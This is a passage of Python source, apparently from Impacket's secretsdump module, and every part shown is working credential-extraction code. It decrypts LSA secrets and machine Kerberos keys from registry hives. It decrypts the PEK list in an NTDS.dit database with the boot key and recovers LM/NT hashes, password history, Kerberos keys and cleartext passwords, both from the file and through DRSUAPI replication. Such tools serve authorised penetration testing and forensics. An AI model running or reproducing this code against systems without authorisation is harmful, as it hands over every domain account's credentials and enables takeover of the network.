1599 # Attempt to create Kerberos keys from machine account (if possible)
1600 if hasattr(self.__remoteOps, 'getMachineKerberosSalt'):
1601 salt = self.__remoteOps.getMachineKerberosSalt()
1602 if salt == b'':
1603 return False
1604 else:
1605 allciphers = [
1606 int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
1607 int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),
1608 int(constants.EncryptionTypes.des_cbc_md5.value)
1609 ]
1610 # Ok, so the machine account password is in raw UTF-16, BUT can contain any amount
1611 # of invalid unicode characters.
1612 # This took me (Dirk-jan) way too long to figure out, but apparently Microsoft
1613 # implicitly replaces those when converting utf-16 to utf-8.
1614 # When we use the same method we get the valid password -> key mapping :)
1615 rawsecret = rawsecret.decode('utf-16-le', 'replace').encode('utf-8', 'replace')
1616 for etype in allciphers:
1617 try:
1618 key = string_to_key(etype, rawsecret, salt, None)
1619 except Exception:
1620 LOG.debug('Exception', exc_info=True)
1621 raise
1622 typename = NTDSHashes.KERBEROS_TYPE[etype]
1623 secret = "%s:%s:%s" % (machinename, typename, hexlify(key.contents).decode('utf-8'))
1624 self.__secretItems.append(secret)
1625 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_KERBEROS, secret)
1626 return True
1627 else:
1628 return False
1630 def dumpSecrets(self):
1631 if self.__securityFile is None:
1632 # No SECURITY file provided
1633 return
1635 LOG.info('Dumping LSA Secrets')
1637 # Let's first see if there are cached entries
1638 keys = self.enumKey('\\Policy\\Secrets')
1639 if keys is None:
1640 # No entries
1641 return
1642 try:
1643 # Remove unnecessary value
1644 keys.remove(b'NL$Control')
1645 except:
1646 pass
1648 if self.__LSAKey == b'':
1649 self.__getLSASecretKey()
1651 for key in keys:
1652 LOG.debug('Looking into %s' % key)
1653 valueTypeList = ['CurrVal']
1654 # Check if old LSA secrets values are also need to be shown
1655 if self.__history:
1656 valueTypeList.append('OldVal')
1658 for valueType in valueTypeList:
1659 value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType))
1660 if value is not None and value[1] != 0:
1661 if self.__vistaStyle is True:
1662 record = LSA_SECRET(value[1])
1663 tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
1664 plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
1665 record = LSA_SECRET_BLOB(plainText)
1666 secret = record['Secret']
1667 else:
1668 secret = self.__decryptSecret(self.__LSAKey, value[1])
1670 # If this is an OldVal secret, let's append '_history' to be able to distinguish it and
1671 # also be consistent with NTDS history
1672 if valueType == 'OldVal':
1673 key += '_history'
1674 self.__printSecret(key, secret)
1676 def exportSecrets(self, baseFileName, openFileFunc = None):
1677 if len(self.__secretItems) > 0:
1678 fileName = baseFileName+'.secrets'
1679 fd = openFile(fileName, openFileFunc=openFileFunc)
1680 for item in self.__secretItems:
1681 fd.write(item+'\n')
1682 fd.close()
1683 return fileName
1685 def exportCached(self, baseFileName, openFileFunc = None):
1686 if len(self.__cachedItems) > 0:
1687 fileName = baseFileName+'.cached'
1688 fd = openFile(fileName, openFileFunc=openFileFunc)
1689 for item in self.__cachedItems:
1690 fd.write(item+'\n')
1691 fd.close()
1692 return fileName
1695class ResumeSessionMgrInFile(object):
1696 def __init__(self, resumeFileName=None):
1697 self.__resumeFileName = resumeFileName
1698 self.__resumeFile = None
1699 self.__hasResumeData = resumeFileName is not None
1701 def hasResumeData(self):
1702 return self.__hasResumeData
1704 def clearResumeData(self):
1705 self.endTransaction()
1706 if self.__resumeFileName and os.path.isfile(self.__resumeFileName):
1707 os.remove(self.__resumeFileName)
1709 def writeResumeData(self, data):
1710 # self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that
1711 self.__resumeFile.seek(0, 0)
1712 self.__resumeFile.truncate(0)
1713 self.__resumeFile.write(data.encode())
1714 self.__resumeFile.flush()
1716 def getResumeData(self):
1717 try:
1718 self.__resumeFile = open(self.__resumeFileName,'rb')
1719 except Exception as e:
1720 raise Exception('Cannot open resume session file name %s' % str(e))
1721 resumeSid = self.__resumeFile.read()
1722 self.__resumeFile.close()
1723 # Truncate and reopen the file as wb+
1724 self.__resumeFile = open(self.__resumeFileName,'wb+')
1725 return resumeSid.decode('utf-8')
1727 def getFileName(self):
1728 return self.__resumeFileName
1730 def beginTransaction(self):
1731 if not self.__resumeFileName:
1732 self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.ascii_letters) for _ in range(8))
1733 LOG.debug('Session resume file will be %s' % self.__resumeFileName)
1734 if not self.__resumeFile:
1735 try:
1736 self.__resumeFile = open(self.__resumeFileName, 'wb+')
1737 except Exception as e:
1738 raise Exception('Cannot create "%s" resume session file: %s' % (self.__resumeFileName, str(e)))
1740 def endTransaction(self):
1741 if self.__resumeFile:
1742 self.__resumeFile.close()
1743 self.__resumeFile = None
1746class NTDSHashes:
1747 class SECRET_TYPE:
1748 NTDS = 0
1749 NTDS_CLEARTEXT = 1
1750 NTDS_KERBEROS = 2
1752 NAME_TO_INTERNAL = {
1753 'uSNCreated':b'ATTq131091',
1754 'uSNChanged':b'ATTq131192',
1755 'name':b'ATTm3',
1756 'objectGUID':b'ATTk589826',
1757 'objectSid':b'ATTr589970',
1758 'userAccountControl':b'ATTj589832',
1759 'primaryGroupID':b'ATTj589922',
1760 'accountExpires':b'ATTq589983',
1761 'logonCount':b'ATTj589993',
1762 'sAMAccountName':b'ATTm590045',
1763 'sAMAccountType':b'ATTj590126',
1764 'lastLogonTimestamp':b'ATTq589876',
1765 'userPrincipalName':b'ATTm590480',
1766 'unicodePwd':b'ATTk589914',
1767 'dBCSPwd':b'ATTk589879',
1768 'ntPwdHistory':b'ATTk589918',
1769 'lmPwdHistory':b'ATTk589984',
1770 'pekList':b'ATTk590689',
1771 'supplementalCredentials':b'ATTk589949',
1772 'pwdLastSet':b'ATTq589920',
1773 }
1775 NAME_TO_ATTRTYP = {
1776 'userPrincipalName': 0x90290,
1777 'sAMAccountName': 0x900DD,
1778 'unicodePwd': 0x9005A,
1779 'dBCSPwd': 0x90037,
1780 'ntPwdHistory': 0x9005E,
1781 'lmPwdHistory': 0x900A0,
1782 'supplementalCredentials': 0x9007D,
1783 'objectSid': 0x90092,
1784 'userAccountControl':0x90008,
1785 }
1787 ATTRTYP_TO_ATTID = {
1788 'userPrincipalName': '1.2.840.113556.1.4.656',
1789 'sAMAccountName': '1.2.840.113556.1.4.221',
1790 'unicodePwd': '1.2.840.113556.1.4.90',
1791 'dBCSPwd': '1.2.840.113556.1.4.55',
1792 'ntPwdHistory': '1.2.840.113556.1.4.94',
1793 'lmPwdHistory': '1.2.840.113556.1.4.160',
1794 'supplementalCredentials': '1.2.840.113556.1.4.125',
1795 'objectSid': '1.2.840.113556.1.4.146',
1796 'pwdLastSet': '1.2.840.113556.1.4.96',
1797 'userAccountControl':'1.2.840.113556.1.4.8',
1798 }
1800 KERBEROS_TYPE = {
1801 1:'dec-cbc-crc',
1802 3:'des-cbc-md5',
1803 17:'aes128-cts-hmac-sha1-96',
1804 18:'aes256-cts-hmac-sha1-96',
1805 0xffffff74:'rc4_hmac',
1806 }
1808 INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.items())
1810 SAM_NORMAL_USER_ACCOUNT = 0x30000000
1811 SAM_MACHINE_ACCOUNT = 0x30000001
1812 SAM_TRUST_ACCOUNT = 0x30000002
1814 ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
1816 class PEKLIST_ENC(Structure):
1817 structure = (
1818 ('Header','8s=b""'),
1819 ('KeyMaterial','16s=b""'),
1820 ('EncryptedPek',':'),
1821 )
1823 class PEKLIST_PLAIN(Structure):
1824 structure = (
1825 ('Header','32s=b""'),
1826 ('DecryptedPek',':'),
1827 )
1829 class PEK_KEY(Structure):
1830 structure = (
1831 ('Header','1s=b""'),
1832 ('Padding','3s=b""'),
1833 ('Key','16s=b""'),
1834 )
1836 class CRYPTED_HASH(Structure):
1837 structure = (
1838 ('Header','8s=b""'),
1839 ('KeyMaterial','16s=b""'),
1840 ('EncryptedHash','16s=b""'),
1841 )
1843 class CRYPTED_HASHW16(Structure):
1844 structure = (
1845 ('Header','8s=b""'),
1846 ('KeyMaterial','16s=b""'),
1847 ('Unknown','<L=0'),
1848 ('EncryptedHash', ':'),
1849 )
1851 class CRYPTED_HISTORY(Structure):
1852 structure = (
1853 ('Header','8s=b""'),
1854 ('KeyMaterial','16s=b""'),
1855 ('EncryptedHash',':'),
1856 )
1858 class CRYPTED_BLOB(Structure):
1859 structure = (
1860 ('Header','8s=b""'),
1861 ('KeyMaterial','16s=b""'),
1862 ('EncryptedHash',':'),
1863 )
1865 def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None,
1866 useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None,
1867 justUser=None, printUserStatus=False,
1868 perSecretCallback = lambda secretType, secret : _print_helper(secret),
1869 resumeSessionMgr=ResumeSessionMgrInFile):
1870 self.__bootKey = bootKey
1871 self.__NTDS = ntdsFile
1872 self.__history = history
1873 self.__noLMHash = noLMHash
1874 self.__useVSSMethod = useVSSMethod
1875 self.__remoteOps = remoteOps
1876 self.__pwdLastSet = pwdLastSet
1877 self.__printUserStatus = printUserStatus
1878 if self.__NTDS is not None:
1879 self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)
1880 self.__cursor = self.__ESEDB.openTable('datatable')
1881 self.__tmpUsers = list()
1882 self.__PEK = list()
1883 self.__cryptoCommon = CryptoCommon()
1884 self.__kerberosKeys = OrderedDict()
1885 self.__clearTextPwds = OrderedDict()
1886 self.__justNTLM = justNTLM
1887 self.__resumeSession = resumeSessionMgr(resumeSession)
1888 self.__outputFileName = outputFileName
1889 self.__justUser = justUser
1890 self.__perSecretCallback = perSecretCallback
1892 # these are all the columns that we need to get the secrets.
1893 # If in the future someone finds other columns containing interesting things please extend ths table.
1894 self.__filter_tables_usersecret = {
1895 self.NAME_TO_INTERNAL['objectSid'] : 1,
1896 self.NAME_TO_INTERNAL['dBCSPwd'] : 1,
1897 self.NAME_TO_INTERNAL['name'] : 1,
1898 self.NAME_TO_INTERNAL['sAMAccountType'] : 1,
1899 self.NAME_TO_INTERNAL['unicodePwd'] : 1,
1900 self.NAME_TO_INTERNAL['sAMAccountName'] : 1,
1901 self.NAME_TO_INTERNAL['userPrincipalName'] : 1,
1902 self.NAME_TO_INTERNAL['ntPwdHistory'] : 1,
1903 self.NAME_TO_INTERNAL['lmPwdHistory'] : 1,
1904 self.NAME_TO_INTERNAL['pwdLastSet'] : 1,
1905 self.NAME_TO_INTERNAL['userAccountControl'] : 1,
1906 self.NAME_TO_INTERNAL['supplementalCredentials'] : 1,
1907 self.NAME_TO_INTERNAL['pekList'] : 1,
1909 }
1911 def getResumeSessionFile(self):
1912 return self.__resumeSession.getFileName()
1914 def __getPek(self):
1915 LOG.info('Searching for pekList, be patient')
1916 peklist = None
1917 while True:
1918 try:
1919 record = self.__ESEDB.getNextRow(self.__cursor, filter_tables=self.__filter_tables_usersecret)
1920 except:
1921 LOG.error('Error while calling getNextRow(), trying the next one')
1922 continue
1924 if record is None:
1925 break
1926 elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
1927 peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
1928 break
1929 elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
1930 # Okey.. we found some users, but we're not yet ready to process them.
1931 # Let's just store them in a temp list
1932 self.__tmpUsers.append(record)
1934 if peklist is not None:
1935 encryptedPekList = self.PEKLIST_ENC(peklist)
1936 if encryptedPekList['Header'][:4] == b'\x02\x00\x00\x00':
1937 # Up to Windows 2012 R2 looks like header starts this way
1938 md5 = hashlib.new('md5')
1939 md5.update(self.__bootKey)
1940 for i in range(1000):
1941 md5.update(encryptedPekList['KeyMaterial'])
1942 tmpKey = md5.digest()
1943 rc4 = ARC4.new(tmpKey)
1944 decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
1945 PEKLen = len(self.PEK_KEY())
1946 for i in range(len( decryptedPekList['DecryptedPek'] ) // PEKLen ):
1947 cursor = i * PEKLen
1948 pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
1949 LOG.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']).decode('utf-8'))
1950 self.__PEK.append(pek['Key'])
1952 elif encryptedPekList['Header'][:4] == b'\x03\x00\x00\x00':
1953 # Windows 2016 TP4 header starts this way
1954 # Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets.
1955 # using AES:
1956 # Key: the bootKey
1957 # CipherText: PEKLIST_ENC['EncryptedPek']
1958 # IV: PEKLIST_ENC['KeyMaterial']
1959 decryptedPekList = self.PEKLIST_PLAIN(
1960 self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'],
1961 encryptedPekList['KeyMaterial']))
1963 # PEK list entries take the form:
1964 # index (4 byte LE int), PEK (16 byte key)
1965 # the entries are in ascending order, and the list is terminated
1966 # by an entry with a non-sequential index (08080808 observed)
1967 pos, cur_index = 0, 0
1968 while True:
1969 pek_entry = decryptedPekList['DecryptedPek'][pos:pos+20]
1970 if len(pek_entry) < 20: break # if list truncated, should not happen
1971 index, pek = unpack('<L16s', pek_entry)
1972 if index != cur_index: break # break on non-sequential index
1973 self.__PEK.append(pek)
1974 LOG.info("PEK # %d found and decrypted: %s", index, hexlify(pek).decode('utf-8'))
1975 cur_index += 1
1976 pos += 20
1978 def __removeRC4Layer(self, cryptedHash):
1979 md5 = hashlib.new('md5')
1980 # PEK index can be found on header of each ciphered blob (pos 8-10)
1981 pekIndex = hexlify(cryptedHash['Header'])
1982 md5.update(self.__PEK[int(pekIndex[8:10])])
1983 md5.update(cryptedHash['KeyMaterial'])
1984 tmpKey = md5.digest()
1985 rc4 = ARC4.new(tmpKey)
1986 plainText = rc4.encrypt(cryptedHash['EncryptedHash'])
1988 return plainText
1990 def __removeDESLayer(self, cryptedHash, rid):
1991 Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))
1993 Crypt1 = DES.new(Key1, DES.MODE_ECB)
1994 Crypt2 = DES.new(Key2, DES.MODE_ECB)
1996 decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])
1998 return decryptedHash
2000 @staticmethod
2001 def __fileTimeToDateTime(t):
2002 t -= 116444736000000000
2003 t //= 10000000
2004 if t < 0:
2005 return 'never'
2006 else:
2007 dt = datetime.fromtimestamp(t)
2008 return dt.strftime("%Y-%m-%d %H:%M")
2010 def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):
2011 # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
2012 haveInfo = False
2013 LOG.debug('Entering NTDSHashes.__decryptSupplementalInfo')
2014 if self.__useVSSMethod is True:
2015 if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
2016 if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
2017 if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
2018 domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
2019 userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
2020 else:
2021 userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
2022 cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
2024 if cipherText['Header'][:4] == b'\x13\x00\x00\x00':
2025 # Win2016 TP4 decryption is different
2026 pekIndex = hexlify(cipherText['Header'])
2027 plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
2028 cipherText['EncryptedHash'][4:],
2029 cipherText['KeyMaterial'])
2030 haveInfo = True
2031 else:
2032 plainText = self.__removeRC4Layer(cipherText)
2033 haveInfo = True
2034 else:
2035 domain = None
2036 userName = None
2037 replyVersion = 'V%d' % record['pdwOutVersion']
2038 for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
2039 try:
2040 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
2041 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
2042 except Exception as e:
2043 LOG.debug('Failed to execute OidFromAttid with error %s' % e)
2044 LOG.debug('Exception', exc_info=True)
2045 # Fallbacking to fixed table and hope for the best
2046 attId = attr['attrTyp']
2047 LOOKUP_TABLE = self.NAME_TO_ATTRTYP
2049 if attId == LOOKUP_TABLE['userPrincipalName']:
2050 if attr['AttrVal']['valCount'] > 0:
2051 try:
2052 domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
2053 except:
2054 domain = None
2055 else:
2056 domain = None
2057 elif attId == LOOKUP_TABLE['sAMAccountName']:
2058 if attr['AttrVal']['valCount'] > 0:
2059 try:
2060 userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
2061 except:
2062 LOG.error(
2063 'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2064 userName = 'unknown'
2065 else:
2066 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2067 userName = 'unknown'
2068 if attId == LOOKUP_TABLE['supplementalCredentials']:
2069 if attr['AttrVal']['valCount'] > 0:
2070 blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2071 plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
2072 if len(plainText) > 24:
2073 haveInfo = True
2074 if domain is not None:
2075 userName = '%s\\%s' % (domain, userName)
2077 if haveInfo is True:
2078 try:
2079 userProperties = samr.USER_PROPERTIES(plainText)
2080 except:
2081 # On some old w2k3 there might be user properties that don't
2082 # match [MS-SAMR] structure, discarding them
2083 return
2084 propertiesData = userProperties['UserProperties']
2085 for propertyCount in range(userProperties['PropertyCount']):
2086 userProperty = samr.USER_PROPERTY(propertiesData)
2087 propertiesData = propertiesData[len(userProperty):]
2088 # For now, we will only process Newer Kerberos Keys and CLEARTEXT
2089 if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
2090 propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
2091 kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
2092 data = kerbStoredCredentialNew['Buffer']
2093 for credential in range(kerbStoredCredentialNew['CredentialCount']):
2094 keyDataNew = samr.KERB_KEY_DATA_NEW(data)
2095 data = data[len(keyDataNew):]
2096 keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
2098 if keyDataNew['KeyType'] in self.KERBEROS_TYPE:
2099 answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue).decode('utf-8'))
2100 else:
2101 answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue).decode('utf-8'))
2102 # We're just storing the keys, not printing them, to make the output more readable
2103 # This is kind of ugly... but it's what I came up with tonight to get an ordered
2104 # set :P. Better ideas welcomed ;)
2105 self.__kerberosKeys[answer] = None
2106 if keysFile is not None:
2107 self.__writeOutput(keysFile, answer + '\n')
2108 elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':
2109 # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
2110 # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
2111 try:
2112 answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
2113 except UnicodeDecodeError:
2114 # This could be because we're decoding a machine password. Printing it hex
2115 answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'].decode('utf-8'))
2117 self.__clearTextPwds[answer] = None
2118 if clearTextFile is not None:
2119 self.__writeOutput(clearTextFile, answer + '\n')
2121 if clearTextFile is not None:
2122 clearTextFile.flush()
2123 if keysFile is not None:
2124 keysFile.flush()
2126 LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo')
2128 def __decryptHash(self, record, prefixTable=None, outputFile=None):
2129 LOG.debug('Entering NTDSHashes.__decryptHash')
2130 if self.__useVSSMethod is True:
2131 LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
2133 sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
2134 rid = sid.formatCanonical().split('-')[-1]
2136 if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
2137 encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
2138 if encryptedLMHash['Header'][:4] == b'\x13\x00\x00\x00':
2139 # Win2016 TP4 decryption is different
2140 encryptedLMHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
2141 pekIndex = hexlify(encryptedLMHash['Header'])
2142 tmpLMHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
2143 encryptedLMHash['EncryptedHash'][:16],
2144 encryptedLMHash['KeyMaterial'])
2145 else:
2146 tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
2147 LMHash = self.__removeDESLayer(tmpLMHash, rid)
2148 else:
2149 LMHash = ntlm.LMOWFv1('', '')
2151 if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
2152 encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
2153 if encryptedNTHash['Header'][:4] == b'\x13\x00\x00\x00':
2154 # Win2016 TP4 decryption is different
2155 encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
2156 pekIndex = hexlify(encryptedNTHash['Header'])
2157 tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
2158 encryptedNTHash['EncryptedHash'][:16],
2159 encryptedNTHash['KeyMaterial'])
2160 else:
2161 tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
2162 NTHash = self.__removeDESLayer(tmpNTHash, rid)
2163 else:
2164 NTHash = ntlm.NTOWFv1('', '')
2166 if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
2167 domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
2168 userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
2169 else:
2170 userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
2172 if self.__printUserStatus is True:
2173 # Enabled / disabled users
2174 if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None:
2175 if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1':
2176 userAccountStatus = 'Disabled'
2177 elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0':
2178 userAccountStatus = 'Enabled'
2179 else:
2180 userAccountStatus = 'N/A'
2182 if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:
2183 pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])
2184 else:
2185 pwdLastSet = 'N/A'
2187 answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))
2188 if self.__pwdLastSet is True:
2189 answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
2190 if self.__printUserStatus is True:
2191 answer = "%s (status=%s)" % (answer, userAccountStatus)
2193 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
2195 if outputFile is not None:
2196 self.__writeOutput(outputFile, answer + '\n')
2198 if self.__history:
2199 LMHistory = []
2200 NTHistory = []
2201 if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
2202 encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
2203 tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
2204 for i in range(0, len(tmpLMHistory) // 16):
2205 LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
2206 LMHistory.append(LMHash)
2208 if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
2209 encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
2211 if encryptedNTHistory['Header'][:4] == b'\x13\x00\x00\x00':
2212 # Win2016 TP4 decryption is different
2213 encryptedNTHistory = self.CRYPTED_HASHW16(
2214 unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
2215 pekIndex = hexlify(encryptedNTHistory['Header'])
2216 tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
2217 encryptedNTHistory['EncryptedHash'],
2218 encryptedNTHistory['KeyMaterial'])
2219 else:
2220 tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
2222 for i in range(0, len(tmpNTHistory) // 16):
2223 NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
2224 NTHistory.append(NTHash)
2226 for i, (LMHash, NTHash) in enumerate(
2227 map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
2228 if self.__noLMHash:
2229 lmhash = hexlify(ntlm.LMOWFv1('', ''))
2230 else:
2231 lmhash = hexlify(LMHash)
2233 answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),
2234 hexlify(NTHash).decode('utf-8'))
2235 if outputFile is not None:
2236 self.__writeOutput(outputFile, answer + '\n')
2237 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
2238 else:
2239 replyVersion = 'V%d' %record['pdwOutVersion']
2240 LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2241 domain = None
2242 if self.__history:
2243 LMHistory = []
2244 NTHistory = []
2246 rid = unpack('<L', record['pmsgOut'][replyVersion]['pObjects']['Entinf']['pName']['Sid'][-4:])[0]
2248 for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
2249 try:
2250 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
2251 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
2252 except Exception as e:
2253 LOG.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
2254 LOG.debug('Exception', exc_info=True)
2255 # Fallbacking to fixed table and hope for the best
2256 attId = attr['attrTyp']
2257 LOOKUP_TABLE = self.NAME_TO_ATTRTYP
2259 if attId == LOOKUP_TABLE['dBCSPwd']:
2260 if attr['AttrVal']['valCount'] > 0:
2261 encrypteddBCSPwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2262 encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
2263 LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
2264 else:
2265 LMHash = ntlm.LMOWFv1('', '')
2266 elif attId == LOOKUP_TABLE['unicodePwd']:
2267 if attr['AttrVal']['valCount'] > 0:
2268 encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2269 encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
2270 NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
2271 else:
2272 NTHash = ntlm.NTOWFv1('', '')
2273 elif attId == LOOKUP_TABLE['userPrincipalName']:
2274 if attr['AttrVal']['valCount'] > 0:
2275 try:
2276 domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
2277 except:
2278 domain = None
2279 else:
2280 domain = None
2281 elif attId == LOOKUP_TABLE['sAMAccountName']:
2282 if attr['AttrVal']['valCount'] > 0:
2283 try:
2284 userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
2285 except:
2286 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2287 userName = 'unknown'
2288 else:
2289 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2290 userName = 'unknown'
2291 elif attId == LOOKUP_TABLE['objectSid']:
2292 if attr['AttrVal']['valCount'] > 0:
2293 objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2294 else:
2295 LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2296 objectSid = rid
2297 elif attId == LOOKUP_TABLE['pwdLastSet']:
2298 if attr['AttrVal']['valCount'] > 0:
2299 try:
2300 pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])
2301 except:
2302 LOG.error('Cannot get pwdLastSet for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2303 pwdLastSet = 'N/A'
2304 elif self.__printUserStatus and attId == LOOKUP_TABLE['userAccountControl']:
2305 if attr['AttrVal']['valCount'] > 0:
2306 if (unpack('<L', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) & samr.UF_ACCOUNTDISABLE:
2307 userAccountStatus = 'Disabled'
2308 else:
